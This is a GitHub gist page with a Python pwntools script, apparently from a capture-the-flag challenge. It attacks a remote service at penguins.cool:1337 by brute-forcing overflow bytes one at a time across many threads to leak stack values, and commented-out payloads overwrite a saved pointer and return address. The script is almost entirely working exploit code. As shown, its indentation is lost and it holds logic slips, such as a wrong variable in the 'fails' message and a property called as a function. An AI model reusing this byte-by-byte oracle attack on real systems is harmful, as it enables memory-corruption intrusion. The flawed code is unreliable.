Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
from pwn import *
import threading, sys
context.log_level = 'warning'
def printconn(msg):
p = remote('penguins.cool', 1337)
p.send(msg)
p.shutdown('send')
data = p.recvall()
probe = 'say?\n\0'
data = data[data.find(probe) + len(probe):]
if data:
print(data)
def printconn_noclose(msg):
p = remote('penguins.cool', 1337)
p.send(msg)
data = p.recvall()
probe = 'say?\n\0'
data = data[data.find(probe) + len(probe):]
if data:
print(data)
class ConnJob(threading.Thread):
def __init__(self, msg):
threading.Thread.__init__(self)
self.msg = msg;
def run(self):
context.log_level = 'warning'
while True:
try:
p = remote('penguins.cool', 1337, timeout=5)
break
except:
pass
p.send(self.msg)
p.shutdown('send')
try:
p.recvuntil('Server:')
self._ret = True
except:
self._ret = False
finally:
p.close()
@property
def ret(self):
return self._ret
max_load = 10
if __name__ == '__main__':
#orig = 'AAAAAAAAAAAAAAAA\x00\x05,&\xff\x7f\x00\x00'
#orig = 'A' * 16 + p64(0x7fff262c0500) + p64(0x400ddf) + 'B' * 12 + p32(4) + \
# 'C' * 0x209 + '*' * 7
orig = 'A' * 16
#orig = 'A' * 16 + p64(0x7fff262c0500) + p64(0x400ddf) + 'B' * 12 + p32(4) + \
# 'C' * 0x10000
for i in range(50000):
jobs = [None for i in range(256)]
succ = []
succ_cnt = 0
fail_cnt = 0
for i in range(max_load):
t = ConnJob(orig + chr(i))
t.start()
jobs[i] = t
for i in range(256):
while True:
jobs[i].join(1)
if not jobs[i].isAlive():
break
# Restart
jobs[i] = ConnJob(jobs[i].msg)
jobs[i].start()
print(enhex(jobs[i].msg))
if jobs[i].ret:
succ_cnt += 1
else:
fail_cnt += 1
if i + max_load < 256:
i += max_load
t = ConnJob(orig + chr(i))
t.start()
jobs[i] = t
if succ_cnt == 0:
print('All fail.')
add = 'A'
elif fail_cnt == 0:
print('All success.')
add = 'A'
elif succ_cnt < fail_cnt:
msg = ''
print('Only {} success.'.format(succ_cnt))
for i in range(256):
if jobs[i].ret:
msg += '{:02x} '.format(i)
add = chr(i)
print(msg)
else:
msg = ''
print('Only {} fails.'.format(succ_cnt))
for i in range(256):
if not jobs[i].ret():
msg += '{:02x} '.format(i)
add = chr(i)
print(msg)
orig += add
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.